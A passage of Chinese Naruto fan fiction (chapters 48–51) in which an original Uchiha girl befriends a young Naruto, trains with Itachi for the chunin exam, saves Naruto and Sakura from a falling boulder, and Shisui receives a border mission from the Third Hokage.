他顿了顿,声音放轻:
“剑术的意义,不是攻击别人,是守住自己想守护的东西。你现在握的不只是一把刀,是你未来保护自己,保护别人的底气。”
千歲似懂非懂地抬头,看着父亲认真的眼神,忽然不再觉得早起训练是一件痛苦的事。
她握紧木刀,小小的身子站得笔直:“老爸,我再练一次!这次一定好好挥!”
这平凡的午后,大概是一个女孩走向强者之路的开始。
也是一个父亲,把最沉默、最沉重的爱,化作利刃,交到了女儿手中。
48.第48章 金发猫胡须的小孩
原本每天傍晚任务结束到晚饭前,千歲都要跟着纲手大人训练怪力,有时兴致上来,还会大半夜偷偷跑出去加练。再加上如今清晨六点就要被父亲拽起来练剑,两边高强度的训练,让她彻底陷入了严重的睡眠不足。
这天,千歲顶着两只浓重的黑眼圈,眼神空洞地飘在街上,整个人都蔫蔫的。
“困……困死了……”
最近不知火玄间和浅野光都在养伤,小队没接到什么正经任务,她每天都在做除草、找猫之类的杂活,无聊得要命。
正走着,肚子忽然“咕——”地叫了一声。
刚好路过一乐拉面,千岁像是瞬间被点亮,推门走了进去。
“大叔,一碗豚骨拉面!加一份叉烧!”
“好嘞,马上就来。”
她随便找了个位置坐下,昏昏欲睡地等着拉面,目光无意间扫到邻座——一个金发小孩,穿着白色上衣,脸颊上还带着三道浅浅的猫胡须似的纹路。
千歲瞬间睁大了眼睛。
!!!
她一下子想起了后山那只小橘猫,也是这样金灿灿的毛,脸上也像长着胡须。止水以前还逗过她,说以后小橘猫说不定会化成人形来报恩。
眼前这小孩吸溜拉面的模样,简直和橘猫啃小鱼干一模一样。
……难道、真的是那只小橘猫变的?
千歲鬼使神差地从忍具包里摸出自制的小鱼干3.0,小心翼翼地凑到小孩面前,轻轻晃了晃。
小孩只是淡淡抬眼瞥了她一下,便继续低头吃面,理都不理。
「怎么不理我啦——!!」千岁内心当场哭嚎。
她不死心,又把小鱼干往他跟前凑了凑,再晃了晃。
“你干嘛啦!?”
金发小孩终于忍不住开口,把千岁吓了一跳,
“奇怪的人,不要打扰我吃面啦!”
说话了??
好吧……看来不是小橘猫,是她完全搞错了。
“对、对不起!我以为你是……”千歲话说到一半,意识到把人当成猫很失礼,连忙改口,“我认错人了,还以为是我朋友。”
正好这时,豚骨拉面端了上来。
“请慢用。”一乐大叔笑着退回厨房。
金发小孩听到“朋友”两个字,动作顿了一下,随即低下头,很小声地嘟囔了一句:
“……我又没有朋友。”
声音太轻,千岁没听清,只当他还在生气,立刻举起筷子,夹起自己碗里的叉烧。
“你别生气啦!我把我的叉烧分给你!”
小孩愣了一下,看了看她筷子上的叉烧,又瞥了眼自己已经见底的汤碗,有点不好意思,却还是很直白地开口:
“好吧……那、那我要最大的那块。”
千歲被他直白的样子逗得一笑,毫不犹豫地把最大那块叉烧夹进了他的碗里。
千歲吃完拉面刚一踏出店门,就发觉身后始终跟着一道小小的身影——那金发小孩像只黏人的小猫,亦步亦趋地跟在她身后,甩都甩不掉。
她无奈地转过身:“你跟着我干嘛?我现在要去出任务了。”
“任务?你是忍者??”
金发小孩瞬间睁大双眼,目光里满是亮晶晶的崇拜。
那是千岁从未感受过的、毫无保留的仰慕眼神,一瞬间便戳中了她小小的虚荣心。她立刻骄傲地仰起下巴,尾巴都快要翘上天去,语气得意又神气。
“那当然!我可是木叶最厉害的忍者!”
“真的吗?那你会什么忍术?会火遁吗?还是水遁?”
千歲嘴角猛地一抽。
火遁、水遁……她是一个都不会。
可在这般崇拜的目光下,她实在拉不下脸承认,只能硬着头皮嘴硬:“这些我当然全都精通,只不过……”
“只不过什么?”
“火遁和水遁算什么?”千岁挺起胸膛,把伙伴们的拿手本事一股脑全搬了出来,“听过我的名号吗?瞬身千歲。”千歲想都没想,就完全照搬的止水的招数。
“什么剑术、幻术,甚至连细胞再生之术我都掌握了!顺便一提,我写轮眼已经三勾玉了哦!”
“什么!?这、这么厉害吗!?”
小孩眼中的羡慕几乎要溢出来,看向她的眼神彻底变成了仰望。
千岁的鼻子都快要因为吹牛变长了。
可下一句,却让她当场破防。
“熊猫眼姐姐看上去笨笨的,没想到忍术这么厉害。”
这句话差点让千歲脚下一滑直接摔在地上。
她额角瞬间爆出浅浅的青筋,叉着腰气鼓鼓地瞪他:“你说谁笨啊!?还有——什么叫熊猫眼啊喂!”
“早知道不给你吃叉烧了,把我的叉烧还给我!”
“啊?我都吃掉了!哪有送出去的东西再要回来的道理啊!”
千歲气鼓鼓地叉着腰,瞪着那个一脸无辜的金发小孩。
“熊猫眼就熊猫眼吧!”小孩大概是被她那副气急败坏的样子逗乐了,眼睛弯成了好看的弧度,反而凑得更近,像只好奇的小跟屁虫,“熊猫眼姐姐,你要去哪里出任务?我可以跟你吗?我也想成为像你一样厉害的忍者!”
千岁看着他那双亮晶晶、充满期待的眼睛,原本到了嘴边的训斥又咽了回去。算了算了,我才懒得跟小孩子计较。心里无奈地想:反正今天也只是去后山除除草,带个小孩看热闹,应该也没关系吧?
“那好吧,跟在我身后,不许乱跑!”
她拎起忍具包,率先迈步向后山走去。那金发小孩果然乖巧,亦步亦趋地跟在她三步开外的地方,一步都不乱跑。
只是在路过村口的火影岩时,小孩忍不住多看了几眼初代火影的雕像,眼神里带着一丝说不清道不明的向往。
到了后山,任务地点一片杂
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草丛生。
千歲挽起袖子,正准备大展身手,却发现旁边的小孩正歪着脑袋,一脸认真地盯着她手里的苦无。
“熊猫眼姐姐,你要用那个铁棍子把草拔掉吗?”小孩指着苦无,眼里满是崇拜,“可是它这么小,能拔得动大草吗?”
千歲嘴角一抽,她难得有机会在小孩面前装一波大神,自然不能丢了面子。只见她深吸一口气,双手握住苦无,摆出平日里练剑时的帅气姿势,甚至故意在右手凝聚了一丝查克拉,学着纲手怪力的样子猛地一挥。
“看好了!这可是特制的铁棍子,力气大得很!”
“哐当!”
苦无狠狠扎进泥土里。
然而,用力过猛的代价就是——苦无直接嵌进了地里,纹丝不动。
千岁脸上的笑容瞬间凝固。
她试着拔了两下,苦无像是生根了一样,半点都拔不出来。
旁边的小孩瞪大了眼睛,随即噗嗤一声笑了出来。
“哈哈!熊猫眼姐姐你力气好大啊,把棍子插进去了都拔不出来!”
千歲:“……”
她额角的青筋又开始跳了。
就在这时,她突然想起自己的特长。她不是会怪力吗?虽然刚才挥断了木刀,但拔个草应该不在话下!
于是,千歲深吸一口气,再次将查克拉集中在掌心,猛地抓住苦无的手柄。
这一次,她没有蛮力硬拔,而是控制着查克拉,一点点松动泥土。
“咻——”
伴随着一声轻响,苦无终于被拔了出来,泥土被带得满天飞。
千歲手里拿着干干净净的苦无,得意地回头:“看到没?这才叫真正的技术!”
小孩拍着手欢呼:“好厉害!熊猫眼姐姐好棒!”
被他这么一夸,千歲心里的郁闷瞬间烟消云散。她哼着小曲,开始熟练地清理杂草。而那个金发小孩,就一直坐在旁边的石头上,安安静静地看着她。
千歲挥舞着苦无,动作虽然算不上标准,却透着一股独有的韧劲。小孩托着下巴,看得津津有味,时不时还会因为千歲不小心摔倒草丛里而发出惊呼,然后在她爬起来的时候,笑得前仰后合。
这一天,原本枯燥的除草任务,因为这个突如其来的小跟班,变得格外生动。
只是千歲不知道,在她低头认真除草的间隙里,那个坐在石头上的金发小孩,正偷偷看着她握着苦无、微微出汗的手心。
他从未见过这样的宇智波族人——没有冰冷的写轮眼,只有带着疲惫却格外明亮的眼睛。
而在这个小孩心里,这大概是他看过的,最不像“忍者”的忍者了。
“—对了!”
远处传来千歲的呼声,金发小孩抬头,
“我还不知道你叫什么呢?”
男孩把双手手放在嘴边,深吸一口气,大声的喊:
“漩涡鸣人!”
49.第49章 中忍考试!?
清晨,千歲刚跟宇智波枭结束晨练,浑身还淌着薄汗,就看见一封邮件被狠狠塞进了宇智波府邸的邮箱。
她擦了擦汗,好奇地打开——收件人赫然是自己。
拆开信封的瞬间,千歲整个人都僵住了。
中忍考试报名表。
她几乎是立刻收拾妥当,疯了一般朝着由里香家跑去。
才跑到半路,就看见对面同样急匆匆冲来的少女,两人手里都捏着一模一样的信封,在路口撞了个正着。
不用问,对方也收到了。
木叶医院病房
“玄间老师,这到底是什么意思啊?”千歲对着病床上的不知火玄间忍不住质问,“浅野光还没完全恢复,中忍考试难道要我和由里香两个人单打独斗吗?”
玄间叼着千本,淡淡瞥了她一眼:“你看你俩,急什么。”
他顿了顿,语气慢悠悠的,“谁说,就你们两个?”
“那还有谁啊?”千歲皱起眉,“浅野是我们小队的人,要考也该一起,我才不要跟不认识的人临时组队!”
由里香在一旁用力点头,十分赞同。
玄间轻叹一声:“放心,是你们的老熟人。这个时间,应该快到了。”
话音刚落,病房门被轻轻推开。
一道黑发少年安静地走了进来。
“……前辈?”少年音略带疑惑
千歲当场愣住,脑子一片混乱。
什么情况?她们小队临时补上的第三位成员,居然是——鼬?
由里香也满脸不可思议:“鼬……你不是还没从忍校毕业吗?怎么能参加中忍考试?”
不知火玄间缓缓解释:“他提前完成了所有学业,火影大人已经批准,明年四月正式毕业,并且提前授予了他木叶忍者的护额。”
“什么???”千歲惊得声音都拔高了,“鼬才一年级,就可以毕业了??”
“正因为明年四月才正式毕业,他还没有编入固定小队。”玄间看向两人,“你们这边刚好缺人,索性组成一支临时小队,参加这次中忍考试。”
“再怎么说,你也太拼命了吧。”由里香看着鼬,忍不住吐槽。
“是父亲大人的意思,他希望我能早点独当一面。”鼬平静地回答。
千歲在心里默默想起之前身体互换时,和富岳族长相处的那段经历——嗯,这完全像是他会说出来的话。鼬的爸爸,是真的超级可怕。
不知火玄间看着三人,继续开口:“这支临时小队的编成,火影大人已经过目,没有异议。”
他顿了顿,目光里带着沉稳的信任:“虽然给你们报名,是我擅自做的决定……但是,你们的话,一定有这个实力。我相信你们。”
被玄间这样认真地注视着,千歲心底瞬间被一股热血点燃,整个人都精神起来。
“那当然!别说中忍考试了,就算是上忍考试,我也直接通过给你看!”
由里香在一旁默默扶额:……又在说大话了。
“好了,由里香和鼬我都放心,最不放心的就是你,千歲。”
千歲立刻垮起脸,不满地说:“什么嘛?刚刚还说相信我们,原来这个‘我们’,根本就只有由里香和鼬啊!”
不知火玄间无奈地看着她,语气里满是操心:“你每次行动都横冲直撞,毫无章法,我怎么可能不担心?别说什么上忍考试了,先踏踏实实通过眼前的中忍考试再说。”
他顿了顿,神色变得认真了几分:“这次考试和以往不同,必须三个人一起晋级。整场考试一共分为三场,只要其中任何一人在任意一场不合格,整个小队都会直接被淘汰。”
由里香闻言,下意识皱起眉,小声嘀咕:“……怎么突然有种非常不好的预感。”
千歲更是当场僵住:“什、什么?!”
“所以,千歲。”不知火玄间直直看向她,一字一句清晰有力,“为了不拖他们两个人的后腿,这个礼拜,你给我好好特训!”
千歲被那股严肃的气势震得瞬间站直,下意识大声应道:
“是……是!”
训练场
一支临时组合的小队——千岁、由里香、鼬,此刻齐聚在训练场。为了一周后的中忍考试,他们第一次正式展开团队合作训练。
“说是特训,我们到底该从哪里开始练起啊?”
千歲率先开口,眼下浓重的黑眼圈还没来得及褪去,一脸生无可恋。
“按照历年惯例,考试分三场。”由里香冷静分析,“第一场是笔试,第二场是生存演练,最后一场是忍者对决。”
她看向千歲,语气略带担忧:“生存演练我们三个人在一起,问题不大。不过……我最担心的,你知道是什么吗?”
“大概……是第一场的笔试吧。”
一旁的鼬淡淡接话,声音平静却精准。
“什么呀?区区一场笔试而已,根本不足挂齿。”千歲嘴硬地说道,心里却微微发虚。
由里香在心里默默翻了个白眼:连千本都分不清楚的人,也好意思说这种大话?
她立刻给千歲定下计划:
“从今天起,一周之内,把忍校学过的所有忍者教材,全部背完。”
“什么——!?”
千歲当场崩溃。
她清晨六点起床练剑,白天除任务除草,傍晚练怪力,晚上还要巩固查克拉控制。现在还要加上背完那厚厚几本书的任务——这简直是要了她的命啊。
“我会每天全程监督你。”由里香毫不留情地补充。
千歲深吸一口气,认命地接受了现实,只是小声弱弱地问:
“那……我们今天还练习吗?”
顶着两个黑眼圈,她小心翼翼地抬头,此时,她只想回家睡觉。
“练。为什么不练?”
由里香毫不犹豫,说着就拉住千岁的手腕,把她往摆满手里剑的木桩训练场拖去,
“走,先从手里剑基础练起。”
千岁被拽得踉踉跄跄,黑眼圈耷拉着,整个人像随时会睡过去:“等、等一下啦——我昨晚练怪力练到半夜,现在手还酸呢……”
鼬安静地跟在两人身后,目光不自觉地落在千歲晃来晃去的发尾上。
从刚才见面起,他的视线就总是轻轻落在她身上,不明显,却从未真正离开。
“先来十组手里剑投掷。”由里香拿出记录板,一脸严肃,“基础不牢,考试一定会出事。”
千歲拿起手里剑,摆好姿势——可惜姿势标准,准头一塌糊涂。
“看我的!”
她甩手一扔,手里剑“咻”地飞出去,“哐当”一声砸在木桩旁边的石头上,弹飞老远。
由里香扶额:“……千歲。”
“咳咳、意外、意外!”千歲慌忙再拿一支,这一次集中精神,可查克拉一不稳,手里剑又偏了,差点砸中训练场边的水壶。
鼬站在一旁,自始至终没说话,只是安静看着。
看着她手忙脚乱,看着她鼓着脸憋气,他见过太多冷静、克制、强大的忍者,却第一次见到这样鲜活、热烈、横冲直撞,却又拼命努力的人。
“我来示范一次。”
鼬忽然开口,声音清清淡淡,却让两人同时看过去。
他上前一步,抬手、握剑、凝神、投掷。
动作干净利落,没有一丝多余。
“咻——噗嗤!”
三支手里剑几乎同时命中靶
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心,深度完全一致。
千歲看得眼睛都直了:“好厉害……”
“你太用力了。”他走到千歲身边,声音放轻,“手里剑不靠蛮力,靠指尖的控制,像你练怪力那样,反而会失准。”
说着,他轻轻握住她的手腕,调整她的姿势。
鼬的手很凉,很稳。
“重心放低,肩膀放松。”
他耐心地指导,声音轻得像耳语。
由里香在一旁看着,察觉到一丝诡异感,但又不好说出口,眼下这又是什么情况?
千歲被他握着手,手里剑一扔,居然破天荒正中靶心。
“中、中了!”她惊喜地回头看鼬。
“嗯。”他轻声应道,“你可以做到。”
“我们千岁,也终于开始克服手里剑啦?”
一道清脆的少年音从天而降,千岁下意识抬头一看——止水正悠闲地站在树梢上,身体随着风轻轻晃动,像一只看热闹的猫,笑眯眯地俯瞰着他们三人。
鼬的目光一凝,心底掠过一丝慌乱。
几乎是本能反应,他握住千岁手腕的手猛地一松,像是被烫到一样迅速收回。
下一秒,止水已经轻盈地跳了下来,稳稳落在训练场中央。
“这是什么组合?可从来没见过你们三个人在一起。”他打量着三人,眼神里满是好奇。
“是中忍考试啦!”千歲兴奋地解释,“我们一起报名参加中忍考试了!”
“原来是这样。”止水笑容温和,随即又问,“那你们现在在特训吗?”
“对呀对呀,正在特训呢!”千歲连连点头。
鼬静静站在一旁,握着手里剑的指节不自觉收紧了半分。
由里香适时打断了两人的对话:
“去去去,要聊天等特训完再说,我们现在正忙着提升小队默契。”
止水露出惯有的灿烂笑容,故作委屈地摊摊手:“怎么感觉我被孤立了呀。”
“什么呀?孤立谁也不会孤立止水呀!”千歲立刻反驳,还不忘补刀,“再说了,止水还有小队里的同伴,又不差我们几个!”
止水被她逗得一笑,语气愈发宠溺:
“好啦好啦,不打扰你们练习了。晚点回家我去找你…”
止水那句温柔的“晚点回家我去找你”还悬在半空,忽然被一道急促慌乱的声音猛地打断。
“请问……你们有看到我的女儿吗?”
一位黄褐色短发的妇人神色慌张地冲到训练场边,眼眶泛红,声音都在发颤。
止水立刻收起玩笑,上前一步轻声安抚:“阿姨,您先别着急,慢慢说,发生什么事了?”
“我、我刚才和女儿吵架了……她一气之下跑不见了,”妇人急得快要哭出来,“我问过附近的孩子,他们说……说她往训练场最西侧跑了!”
训练场最西侧——
四人同时心头一紧。
那里是专供中忍以上使用的高危区域,布满实战机关、陷阱与锋利的训练器械,对大人尚且危险,更何况是小孩子。
“您女儿今年多大了?”止水沉声追问。
妇人带着哭腔回答:“四岁半……粉色的头发,名字叫小樱,春野樱…”
春野樱?
千岁、由里香、鼬、止水四人飞快对视一眼,瞬间达成一致。
“阿姨您别慌,我们马上帮您去找!”千歲立刻把手里剑一收,眼神坚定。
由里香转头对妇人叮嘱:“您先在这里等候消息,如果实在放心不下,可以联系木叶警卫部队。我们先进去搜救,一定把小樱带回来。”
妇人感动得连连鞠躬,泪水终于落了下来:“拜托你们了……真的拜托你们了!”
50.第50章 瞬身千歲??
草木疯长,阴影交错,脚下每一寸土地都藏着未被拆除的机关凹槽,空气里弥漫着铁锈与尘土的味道。
“小樱!春野樱!”千歲喊道。
可是寂静的森林里没有任何回应。
止水穿插在树林高处,试图用写轮眼看清楚对方查克拉的走向。
由里香和鼬则一个顾左一个顾右。
千歲扒开草丛,不仅仅要提防那些设下的机关,还要不断在森林里寻找那抹粉色头发的身影。
此时,从最里面的草丛里面传来了紧促的脚步声。
谁?”由里香立刻低喝一声,指尖迅速凝聚查克拉,鼬的写轮眼锁定草丛方向,止水也纵身跃至半空,身形如鹰隼般蓄势待发。
草丛分开,两道身影跌跌撞撞地跑了出来——金发小孩,还有脸色苍白、裙摆沾着泥土的粉发少女。
千歲定睛一看,是鸣人!身边粉发少女,年龄四岁也恰好对得上,是小樱!
“小樱!”千歲惊喜地低呼,刚要迈步迎上去,却猛地顿住了脚步。
鸣人此刻状态极差,额角渗着血,呼吸急促得像跑完了千里路程,他一手死死护着身后的小樱,却因为体力透支连握稳的力气都没有。而他们身后,那片看似平静的岩壁上,数根绷紧的透明绳索正隐隐泛着光,正是木叶训练场标志性的“落石机关”——触发后,山顶预埋的巨型石块会顺着滑槽轰然坠落,威力足以砸穿钢板。
“快躲开!这是机关!”由里香急忙出声提醒,伸手就要去拉鸣人。
可已经晚了。
鸣人在慌乱中下意识后退一步,脚踝恰好踩中了地面上一块不起眼的凸起碎石。
“咔哒——”
细微的机关触发声在喧闹的林间格外刺耳。
下一秒,头顶上方的岩壁骤然震动,无数碎石簌簌掉落,紧接着,一块磨盘大小的巨石顺着滑槽轰然砸下,带着呼啸的风声,正对着鸣人和小樱的方向!
“小心!”
止水的惊呼刚出口,巨石已经砸到了眼前,阴影瞬间笼罩了那二人。这个距离,根本没有办法营救!止水的瞬身术距离稍远,根本就没办法一次性把两个人都转移,所有人都在那一瞬间陷入了无力的慌乱。
春野樱闭上眼睛,等待死神的降临。
可是,重击感并未到来。
那道金黄色的身影,撞入了自己的视线。
是千歲。
她义无反顾地挡在了鸣人和小樱身前,紧握右拳,掌心暴起淡蓝色的查克拉光芒——那是她日复一日苦练的怪力,是她能劈碎岩石、扛起巨木的力量。
石头迅速滚落的声音混着风声炸开。
千岁的拳头狠狠砸向坠落的巨石,没有丝毫犹豫。
“砰——!!!”
震耳欲聋的巨响炸开,碎石瞬间如暴雨般四溅。那一块足以砸毁小型建筑的巨石,在怪力的重击下,竟被生生砸成了无数碎片,纷纷扬扬地往下落。
千歲被震得后退两步,手臂发麻,虎口传来阵阵刺痛,但她始终没敢放下护在身前的手,死死撑着最后一片碎块落下。
时间仿佛在这一刻静止。
小樱僵在原地,瞳孔微微收缩,整个人像被钉住了一样。
面前的一道身影,那是比她高出些许的身形,那道金色的头发随风飘扬,后背的线条不算特别强悍,却在这一刻撑起了一片天。碎石头砸在她的背上、肩上,弹开成细小的粉末,而她的脊背挺得笔直,没有丝毫畏惧。
小樱的心脏猛地缩紧。
眼泪毫无预兆地涌了上来,模糊了视线。
千歲踉跄了一下,立刻蹲下身,一手护住鸣人,一手揽过小樱,将两人紧紧护在自己与地面之间,防止残留的碎石砸中他们。
一道黑影极速闪过。
是止水。
他几乎是在被击落的碎石落下的瞬间就瞬身到了千歲身边,双臂迅速环住她的肩膀,将她整个人往自己怀里带了带,牢牢护在怀中。他的动作极快,带着不容置疑的保护欲,连眼神都没给其他人,全部注意力都集中在千歲身上。
可就在他低头的瞬间,一块从崖边滚落的细小碎石,不偏不倚地砸中了他的背部。
“唔。”
止水闷哼一声,手臂微微一僵,但很快又恢复了镇定,将千歲抱得更紧了些,对着她露出一个惯有的温柔笑容:“没事,一点小石子而已,不疼。”
千歲从他怀里抬起头,满脸灰尘:“止水!你……”
“我没事。”止水轻轻笑了笑,语气依旧温柔,只是后背隐隐传来刺痛,“只要千歲没事就好。”
等到烟尘散尽,危险彻底过去。
鸣人还没从震惊中回过神,看着近在咫尺的碎石,又看看挡在自己身前的千歲,嘴唇动了动,半天只挤出一句:“谢、谢谢……”
“没事吧?有没有被砸到?”她哑着嗓子问,声音里满是后怕,还不忘轻轻拍了拍鸣人的背,“鸣人你也太不小心了,踩机关都不知道!”
小樱从千歲怀里悄悄探出头,仰着小脸,一直望着千歲。
刚才那一瞬间的震撼,深深烙在了她心底。
少女徒手锤破巨石的画面,她大概这辈子都无法忘记。
不远处,鼬缓缓收起写轮眼,看着被止水护在中间的千歲,眼底一片沉静。
由里香松了口气,快步上前检查伤势,嘴上责备,手却轻轻拂去千岁身上的灰尘。
千歲感受到衣角的拉力,低头看向小樱,立刻弯起眼睛,用最温柔的语气哄着:“小樱不怕,危险过去了哦,我们带你去找妈妈。”
木叶警务部队
安抚好鸣人与小樱的情绪后,四人便将两个孩子送往了最近的木叶警务部队。春野芽吹早已焦急地等候在此,队员见他们将孩子平安带回,连忙上前:“我们刚派人出去搜寻,没想到你们这么快就找到了。”
小樱一看见春野芽吹,眼眶瞬间红透,哽咽着喊出一声“妈妈!”,便不顾一切地扑进了母亲的怀里。看着母女俩紧紧相拥、泣不成声的模样,千歲紧绷的神情稍稍松缓,可目光落在那温暖的画面上,心底却悄然翻涌起一阵难以言说的酸涩。
她从未见过自己的母亲,自小与宇智波枭相依为命,
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母爱对她而言,是连想象都觉得遥远的东西。她忍不住悄悄想,如果自己的母亲还在,她是不是也能像小樱这样,毫无顾忌地扑进怀里撒娇、哭泣,把所有委屈都交付出去。
身旁的止水静静望着她,最能明白此刻千歲心底翻涌的情绪。他轻轻抬手,将手掌稳稳搭在她的肩上,语气带着几分刻意轻松的调侃:“千歲要是也想哭的话,我的肩膀随时借你。”
“什么啊,我又没哭。”千歲别过脸,嘴硬地反驳。
止水低笑出声,目光温柔地落在她泛红的眼框:“一副快要哭出来的样子。”
被他一语道破,千歲鼻尖一酸,积攒已久的眼泪反而更控制不住地往上涌。有为小樱母女重逢的感动,更有对从未谋面、早已逝去的母亲绵长的思念,两种情绪缠在一起,堵得她心口发闷。
“坏止水,你又不懂……”千歲倔强地说。
他怎会不懂。
正因为同是失去母亲的孩子,他才比任何人都清楚这份孤单与渴望有多难熬。他连忙放软了语气:“好啦好啦,是我不对,晚上陪你去买草莓大福…”
千歲用力揉了揉眼睛,将快要落下的眼泪憋回去,埋着头闷声提出条件:“……那我还要再加一个草莓蛋糕。”
止水忍不住笑出了声,眼底的心疼化作满溢的温柔,轻轻应下。
望着止水和千歲,由里香紧绷的神情也终于稍稍释然。她轻轻朝鼬递去一个示意离开的眼神,鼬却并未立刻动身,目光不自觉落在止水与千歲身上,一时怔然出神。
一旁的鸣人瞧见千歲眼眶红红的、一副快要哭出来的模样,立刻仰起小脸认真安慰:“千歲姐姐别哭啦!你可是忍界最强的忍者——瞬身千歲啊!”
这话一出,在场所有人齐刷刷愣住,脸上齐刷刷挂着一个大大的问号。
止水也微微挑眉,“嗯?”
语气里满是意外又好笑:“瞬身千歲?”
千歲心里咯噔一下,默默捂脸:完了……上次玩笑闹大了。
鸣人还在一脸认真地如数家珍:“对啊!千歲姐姐火遁、水遁全都超级厉害,还会瞬身术、幻术,连细胞再生术都会!”
由里香听得一脸迷惑:“火遁?水遁?细胞再生术?她???”
鼬也淡淡补了一句:“前辈什么时候,还精通幻术了……”
止水倒是弯起眼睛,语气轻松又好笑:“瞬身千歲……很不错的名号嘛。”
鸣人完全没察觉气氛不对,继续骄傲地补充:“还好刚才千歲姐姐救了我们,果然和其他只会三脚猫功夫的忍者完全不一样呢!”
说完,他还特别天真地扫了一眼止水、鼬、由里香三个人。
由里香脸瞬间一黑:“喂喂喂……该不会,是在说我们三个吧?”
鼬平静点头:“我看很像。”
止水则笑着摊手,语气故意委屈:“哎呀,看来我还得再努力进步才行呢。”
下一秒,三个人目光齐刷刷锁定正缩着身子、企图悄悄开溜的千歲。
千歲脚步一顿,欲哭无泪:
“……现在,我是真得哭了。”
51.第51章 止水的抉择
早晨的微光刚爬上宇智波镜府邸的窗沿,止水便在梦魇里骤然弹坐起身。
冷汗如同冰冷的雨水,浸透了他的衣服,额前的黑发黏在眉心,顺着下颌不断滴落。眼前还死死停留着那幕让他魂飞魄散的画面——大刀冰冷的锋刃穿透千岁单薄的腹部,鲜血喷溅而出,她那句带着小得意的“笨蛋止水,我赢了”,永远卡在喉咙里,成为他每夜反复凌迟自己的刀刃。
千歲没有死。由里香的医疗忍术将她从死亡边缘拉了回来,如今她依旧会笑着跟在他身后,会扬起写轮眼骄傲地炫耀自己的成长,鲜活地站在他触手可及的地方。
可理智从没能抚平心底的伤口。
他是宇智波公认的少年天才,瞬身止水,瞳力天赋异禀。
他的瞬身术,快到能躲开任何致命攻击,快到能够自如穿梭,可那一刻,慢到连伸手拉住她的时间都没有。
所谓天才,在没能护住重要之人的事实面前,脆弱得不堪一击。
心底的声音一遍遍地回响。
不够。
还是太弱了。
不管拥有多快的瞬身,多强的瞳力,只要没能将她牢牢护在身后,他就永远都不够强。
就在这时,轻柔却规整的敲窗声打破了屋内的沉寂,门外传来属于火影暗部成员恭敬又肃穆的声音:“火影大人有要事召见,请您即刻前往火影办公室。”
止水深吸一口气,压下眼底尚未散尽的后怕与戾气。他起身走到镜前,抬手擦去脸上的冷汗,整理好皱乱的衣衫,将所有的梦魇、自责与决心一并藏在那游刃有余的面容之下。
确认状态无误后,他拉开房门走出,对着等候在外的暗部轻轻颔首,脚步沉稳地朝着火影办公楼的方向走去。
火影办公室
木质的火影办公室里,空气仿佛凝固了一般。窗外的晨光透过窗户,在桌面上投下斑驳的光影,却驱不散空气中凝重的氛围。
止水站在办公桌前,身姿笔挺,双手自然垂在身侧,语气平静却带着一丝不易察觉的紧绷:“火影大人。”
猿飞日斩缓缓放下手中堆叠的文件,指尖在桌面上轻轻敲击了一下,抬头看向他,眼神复杂,既有期许,也有无奈。“你来了,止水。”
“火影大人吩咐我前来,是有什么任务吗?”止水直接切入正题,身为忍者,他习惯了高效与直接。
猿飞日斩重重地叹了一口气,那声叹息仿佛承载着整个木叶的沉重。“水之国那件事,还有几点疑点,需要向你这个当事人询问。”
止水微微颔首,语气平淡:“单凭发问?”
“在你完成护送任务的那一日,是否有与四代目水影进行过交流?”猿飞日斩的目光紧紧锁住他,试图从他脸上捕捉到任何蛛丝马迹。
止水毫不犹豫地回答:“当时登录的是B级任务,我们的路线严格按照规划执行,没有任何机会接触到他们的水影。”
“果然……吗。”猿飞日斩低声呢喃,脸上闪过一丝失望,随即又被更深的忧虑取代。
止水眉头微蹙,心中警铃大作,追问到:“四代目水影,是否有什么变化?”
猿飞日斩沉吟片刻,语气沉重:“难说。”他顿了顿,继续说道,“数日前,暗号部才与水之国水影完成通讯,表面上看倒没什么异样。只不过……”
“只不过什么?”止水的心跳骤然加速,一种不祥的预感涌上心头。
“只不过他们似乎极其不愿意木叶忍者入境驻扎,并且驳回了木叶提出的所有交流政策。”猿飞日斩看着止水,一字一句清晰地说道,“就连木叶派出的忍校教育交流忍者,如今也已全部被驱逐出境。”
止水的瞳孔微微一缩,敏锐地察觉到了其中的不对劲。“火影大人叫我来,是为了……”
“止水,你是宇智波一族中数一数二的、为了村子不拘泥于一族的优秀忍者。”猿飞日斩打断他的话,语气恳切,“可如今,忍界并非太平。火之国与水之国边境的小国战事接连不断,自四年前九尾之乱后,木叶已经折损了太多优秀的战力。”
他的目光移向墙上波风水门的照片,眼神中充满了怀念与痛惜,随即转回头看向止水,继续说道:“如今边境小国叛乱不断,我们难以维持与周边大国的稳定关系。我希望,可以借宇智波的力量,继续维护火之国的安宁。”
“宇智波的力量……是指……”止水的声音有些干涩,他隐约猜到了什么,但还是希望能听到更具体的说明。
猿飞日斩深吸一口气,不再遮掩,开门见山:“我就直说了吧,止水。我希望你接下这项长期任务——边境看守,以及……卧底工作。”
“边境?”止水猛地一怔,脸上露出明显的错愕。长期驻守边境,意味着要远离木叶,远离他熟悉的一切,这与他以往的任务截然不同。
“不只你。”猿飞日斩解释道,“我已经组建了一支精英小队,宇智波的力量,不能缺少。”
“长期任务是指……”止水强迫自己冷静下来,追问着关键信息。
“短则两年,长则……”猿飞日斩没有给出确切的答案,这个“长则”背后的含义,不言而喻。
办公室内陷入了长久的沉默。止水站在原地,脑海中飞速运转,心中充满了犹豫。两年,甚至更久的时间,离开村子,离开那些他在乎的人,这让他无法立刻做出决定。
“我知道,你可能会犹豫。”猿飞日斩看着他,语气缓和下来,“我不想强迫你……”
“我可以问一个问题吗?”止水抬起头,目光坚定地看向火影。
“但说无妨。”
“为什么……在宇智波一族里,偏偏选中了我?”这个问题,是他心中最大的疑惑,也是他必须弄明白的。
猿飞日斩拿起桌上的烟斗,却
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没有立刻点燃,只是在手中把玩着。他沉默了片刻,似乎在斟酌着措辞。“如今的木叶和宇智波一族,关系可以说是……微妙。”他缓缓开口,语气沉重,“从四年前九尾之乱开始,木叶高层就对宇智波……产生了怀疑。”
“什么?!”止水猛地瞪大了眼睛,脸上写满了震惊。他早有察觉,却从未想过,高层的怀疑已经到了这种地步。
“止水,我和你说这些,并非是为了责备你。”猿飞日斩急忙解释,眼神中带着安抚,“我看中的是你身上那份继承自初代火影的火之意志。像宇智波镜那样,不拘泥于一族,从你眼里,我能看到你向往强大、渴望和平的初心。”
他顿了顿,看着止水依旧震惊的面容,继续说道:“你或许对于这个忍界,对于国家,以及一族与村子的关系,还有迷茫。但我希望,通过这次长期任务,你能收获属于自己的、对村子与国家的看法。你是一个优秀的忍者,在这个过程中,你必将成长,也必将强大。”
